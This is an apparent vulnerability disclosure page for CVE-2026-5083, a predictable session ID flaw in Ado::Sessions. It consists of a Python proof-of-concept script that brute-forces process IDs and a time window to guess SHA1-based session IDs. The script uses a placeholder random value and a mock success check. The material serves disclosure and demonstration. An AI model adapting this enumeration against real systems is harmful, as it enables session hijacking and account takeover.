CVE-2026-5083 Ado::Sessions不安全会话ID生成漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5083: Predictable Session ID in Ado::Sessions # This script demonstrates the logic to guess session IDs based on weak entropy. import hashlib import time def simulate_ado_session_id(epoch_time, pid, rand_seed): """ Simulates the weak session ID generation logic of Ado::Sessions. Real implementation depends on Perl's rand() state, which is predictable. """ # Concatenating weak entropy sources as described in the vulnerability entropy_source = f"{rand_seed}{epoch_time}{pid}" return hashlib.sha1(entropy_source.encode('utf-8')).hexdigest() def attack_simulation(target_time, known_pid_range=(1, 5000)): """ Simulates an attacker trying to guess a valid session ID by iterating over PIDs and a small time window. """ print(f"[*] Starting attack simulation for time: {target_time}") print(f"[*] Brute forcing PID range: {known_pid_range}") # Assume attacker guesses the rand state or observes a pattern # Here we use a placeholder for the predictable rand output predictable_rand_val = 12345 for pid in range(known_pid_range[0], known_pid_range[1]): # Check a small window around the guessed time (e.g. +/- 5 seconds) for t in range(target_time - 5, target_time + 5): predicted_id = simulate_ado_session_id(t, pid, predictable_rand_val) # In a real scenario, the attacker would check if this ID exists/is valid print(f"Testing PID: {pid}, Time: {t} -> SessionID: {predicted_id}") # Mock success condition for demonstration if pid == 2500 and t == target_time: print(f"[+] Successfully predicted session ID: {predicted_id}") return predicted_id return None if __name__ == "__main__": current_epoch = int(time.time()) attack_simulation(current_epoch)